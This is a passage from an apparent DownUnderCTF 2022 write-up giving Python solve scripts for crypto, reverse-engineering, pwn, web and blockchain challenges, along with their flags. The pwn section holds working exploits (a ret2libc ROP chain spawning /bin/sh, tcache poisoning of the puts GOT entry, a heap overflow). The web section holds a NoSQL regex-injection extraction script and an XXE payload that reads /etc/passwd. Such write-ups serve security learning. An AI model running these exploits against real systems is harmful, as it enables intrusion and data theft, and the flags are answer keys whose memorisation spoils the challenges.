Using these equations mi+1=ci+1(0)AESi+2=ci+1(0)ci(1)mim_{i+1} = c^{(0)}_{i+1} \oplus \mathrm{AES}^{i+2} = c^{(0)}_{i+1} \oplus c^{(1)}_i \oplus m_i. This reveals all mim_i from m0m_0.

solve.py
from os import urandom, path
from Crypto.Cipher import AES

from pwn import remote, unhex, xor


io = remote("2022.ductf.dev", 30009)
iv1 = "00" * 16
io.sendlineafter(b"iv: ", iv1.encode())
ct1 = unhex(io.recvline().strip().decode())
iv2 = xor(b"Decrypt this... ", ct1[:16]).hex()
io.sendlineafter(b"iv: ", iv2.encode())
ct2 = unhex(io.recvline().strip().decode())

dec = b"Decrypt this... "
for i in range(16, len(ct1), 16):
    dec += xor(ct1[i: i+16], ct2[i-16: i], dec[-16:])

DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}

baby arx

279 solves

baby-arx.py
class baby_arx():
    def __init__(self, key):
        assert len(key) == 64
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
        b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
        b = (b1 + b2) % 256
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return bytes([self.b() for _ in range(n)])


FLAG = open('./flag.txt', 'rb').read().strip()
cipher = baby_arx(FLAG)
out = cipher.stream(64).hex()
print(out)

# cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b

Each element of state is 1 byte. This can be found by full search.

solve.py
from binascii import unhexlify


out = unhexlify("cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b")

flag = list(b"D")
b1 = b"D"[0]
for i in range(64):
    b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
    for j in range(256):
        b2 = (j ^ ((j >> 5) | j << 3)) & 0xff
        if (b1 + b2) & 0xff == out[i]:
            flag += bytes([j])
            break
    b1 = j
print(bytes(flag))

DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

rev

xva

30 solves

solve.py
from Crypto.Util.number import long_to_bytes
from z3 import *

s = Solver()
inp_short = [BitVec(f"inp_{hex(i)[2]}", 16) for i in range(16)]

for i in range(16):
    s.add(inp_short[i] & 0xff < 127)
    s.add(inp_short[i] & 0xff >= 32)
    s.add(inp_short[i] & 0xff00 < 127 * 256)
    s.add(inp_short[i] & 0xff00 >= 32 * 256)

tmp = 0
for i in range(16):
    tmp += inp_short[i]
s.add(tmp == 0x5dc44)

res_add = []
for i in range(16):
    res_add.append(inp_short[i] + 0x419b)

perm_list1 = [3, 1, 0, 6, 7, 4, 3, 1]
res_perm1 = []
for p in perm_list1:
    res_perm1.append(res_add[2 * p])
    res_perm1.append(res_add[2 * p + 1])
perm_list2 = [1, 0, 3, 2, 6, 7, 4, 5]
res_perm2 = []
for p in perm_list2:
    res_perm2.append(res_add[2 * p])
    res_perm2.append(res_add[2 * p + 1])

res_mul = []
for i in range(16):
    res_mul.append(res_perm2[i] * res_add[i])

res_sub = []
for i in range(16):
    res_sub.append(res_mul[i] - res_perm1[i])

target = [0x85765e6f, 0x7b761fa8, 0x5306ec9, 0xbd5d8cfa, 0xc2db0af6, 0x6cf52153, 0xabec2bcd, 0x5c211278]
for i, t in enumerate(target):
    s.add(res_sub[2*i] == (t & 0xffff))
    s.add(res_sub[2*i+1] == ((t & 0xffff0000) // 0x10000))

s.check()
m = s.model()
ans = b""
for i in range(16):
    ans = long_to_bytes(m[inp_short[i]].as_long())[::-1] + ans

DUCTF{A_V3ry_eXc3ll3n7_r3v3rs3r}

ezpz-rev

42 solves

solve.py
from collections import defaultdict
import numpy as np
from z3 import *

mem = np.array(list("aaaaabbbbcccddaaaaabbbbccccdaaeaaabbbccccdaaefaabbbcccgdeeefffffbccggdfeeffffggggggdfffffffhhhgggdffffhhhhhhgggdffijjjjhkkllmdiiijjkkkkkllmmiijjjkkkklllmmiijjjkkkklllmmijjjjjkknnllmmijjjjnnnnnllll"))
mem = mem.reshape(14, 14)

inp = [[Int(f"inp_{hex(i)[2]}{hex(j)[2]}") for j in range(14)] for i in range(14)]
s = Solver()
for i in range(14):
    for j in range(14):
        s.add(0 <= inp[i][j])
        s.add(inp[i][j] <= 1)
for i in range(14):
    tmp = 0
    for j in range(14):
        tmp += inp[i][j]
    s.add(tmp == 3)
for j in range(14):
    tmp = 0
    for i in range(14):
        tmp += inp[i][j]
    s.add(tmp == 3)

pos = defaultdict(list)
for i in range(14):
    for j in range(14):
        pos[mem[i, j]].append((i, j))

for c, pos_list in pos.items():
    tmp = 0
    for p in pos_list:
        tmp += inp[p[0]][p[1]]
    s.add(tmp == 3)


loc = [-1, -0xf, -0xe, -0xd, 1, 0xf, 0xe, 0xd]
for i in range(14):
    for j in range(14):
        for l in loc:
            if j == 0:
                tmp = l + 0xf
                if tmp < 0x1d:
                    continue
            if j == 13:
                continue
            if 0 <= 14*i + j + l < 0xc4:
                s.add(inp[i][j] + inp[i + (j + l) // 14][(j + l) % 14] <= 1)

s.check()
m = s.model()
ans = [[0 for _ in range(14)] for _ in range(14)]
for i in range(14):
    for j in range(14):
        ans[i][j] = m[inp[i][j]].as_long()

"".join(map(str, sum(ans, [])))

# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}

pwn

ezpz-pwn

33 solves

solve.py
from pwn import *

# from ezpz-rev
ans = b"0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000"

io = remote("2022.ductf.dev", 30005)
elf = ELF("./ezpz")
libc = ELF("./libc-2.35.so")

context.binary = elf

payload = ans + b"A" * 0x24
payload += p64(0x00000000004015d3)  # pop rdi ; ret
payload += p64(0x404018)  # elf.got("puts")
payload += p64(0x004010a0)  # elf.symbols["puts"]
payload += p64(0x4014a0)  # elf.symbols["main"]
io.sendline(payload)
_ = io.recvline()
_ = io.recvline()
addr_puts = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = addr_puts - libc.symbols["puts"]
print(f"{libc.address = :#x}")

rop = ROP([elf, libc])
rop.execv(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload = ans + b"A" * 0x24
payload += rop.chain()
io.sendline(payload)
io.interactive()

DUCTF{ez_r3t2l1bc_9b8a81cda3}

p0ison3d

71 solves

solve.py
from pwn import *

elf = ELF("./p0ison3d")
libc = ELF("./libc-2.27.so")
io = remote("2022.ductf.dev", 30024)


def add_note(idx: int, data: bytes):
    io.sendlineafter(b"choice:\n", b"1")
    io.sendlineafter(b"index:\n", str(idx).encode())
    io.sendlineafter(b"data:\n", data)


def edit_note(idx: int, data: bytes):
    io.sendlineafter(b"choice:\n", b"3")
    io.sendlineafter(b"index:\n", str(idx).encode())
    io.sendlineafter(b"data:\n", data)


def del_note(idx: int):
    io.sendlineafter(b"choice:\n", b"4")
    io.sendlineafter(b"index:\n", str(idx).encode())


add_note(0, b"AAAA")
add_note(1, b"BBBB")
add_note(2, b"CCCC")
del_note(2)
del_note(1)
edit_note(0, b"A" * 0x88 + p64(0x91) + p64(elf.got["puts"]))
add_note(1, p64(elf.symbols["win"]))
add_note(2, p64(elf.symbols["win"]))
io.interactive()

DUCTF{w3lc0ME_tO_tH3_h3ap_4nd_h4PPy_TC4che_p01s0nIng}

login

121 solves

solve.py
from pwn import *

io = remote("2022.ductf.dev", 30025)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Username length: ", b"0")
io.sendlineafter(b"Username: ", b"A" * 20 + p64(0x20021) + p64(0x1337) + b"A" * 8)

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Username length: ", b"0")
io.sendlineafter(b"Username: ", b"B" * 8)

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"Username: ", b"B" * 8)

io.interactive()

DUCTF{th3_4uth_1s_s0_bad_1t_d0esnt_ev3n_us3_p4ssw0rds}

web

noteworthy

60 solves

solve.py
import requests
from tqdm import tqdm

url_template = "https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^{flag}"
flag = "DUCTF"
for _ in range(100):
    for i in tqdm(range(32, 127)):
        c = chr(i)
        if c in "#&*+.; ?[]()":
            continue
        url = url_template.format(flag=flag+c)
        res = requests.get(url, cookies={"jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJlNmU0NTdiMDNiNjJhM2VhNzNiMjIiLCJpYXQiOjE2NjM5ODcyNzAsImV4cCI6MTY2NDU5MjA3MH0.pOPiuRekdydbxKykr4zNRu7vwHhZeCsGrrP0FXR1fGw"})
        if "You are not the owner of this note!" in res.text:
            flag += c
            print(flag)
            break

DUCTF{n0sql1_1s_th3_new_5qli}

dyslexxec

I modified xl/workbook.xml.

Add it at the beginning:

<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>

Then the following

<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/>

is modified to

<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&secretData;</x15ac:absPath>

DUCTF{cexxelsyd_work_my_dyslexxec_friend}

blockchain

Solve Me

194 solves

(I didn't solve it during the competition)

solve.py
from web3 import Web3, HTTPProvider

# {"player_wallet":{"address":"0x858298422603353F539dB6885519450cF0145D1f","private_key":"0x2a58e449ea87976a5ad3b86da6b13af7f624eda31d379704fe681ac7a207c186","balance":"2.0 ETH"},"contract_address":[{"address":"0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8","name":"SolveMe.sol"}]}
private_key = "0x2a58e449ea87976a5ad3b86da6b13af7f624eda31d379704fe681ac7a207c186"
address = "0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8"

w3 = Web3(HTTPProvider("https://blockchain-solveme-e9aed84f3efebf2e-eth.2022.ductf.dev/"))

account = w3.eth.account.from_key(private_key)

# made by https://remix.ethereum.org/
abi = [
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "solveChallenge",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]

contract = w3.eth.contract(address=address, abi=abi)


def get_nonce(addr):
    return w3.eth.get_transaction_count(addr)


def get_transaction_body(addr):
    return {
        "nonce": get_nonce(addr),
        "gas": 1239137,
        "gasPrice": 21000000000,
        "value": 0,
        "from": addr,
    }


def send_transaction(addr, func_name: str):
    transaction_body = get_transaction_body(addr)
    function_call = contract.functions[func_name]().buildTransaction(transaction_body)
    signed_transaction = w3.eth.account.sign_transaction(function_call, private_key)
    result = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
    tx_hash = w3.eth.wait_for_transaction_receipt(result)
    return tx_hash


res = send_transaction(account.address, "solveChallenge")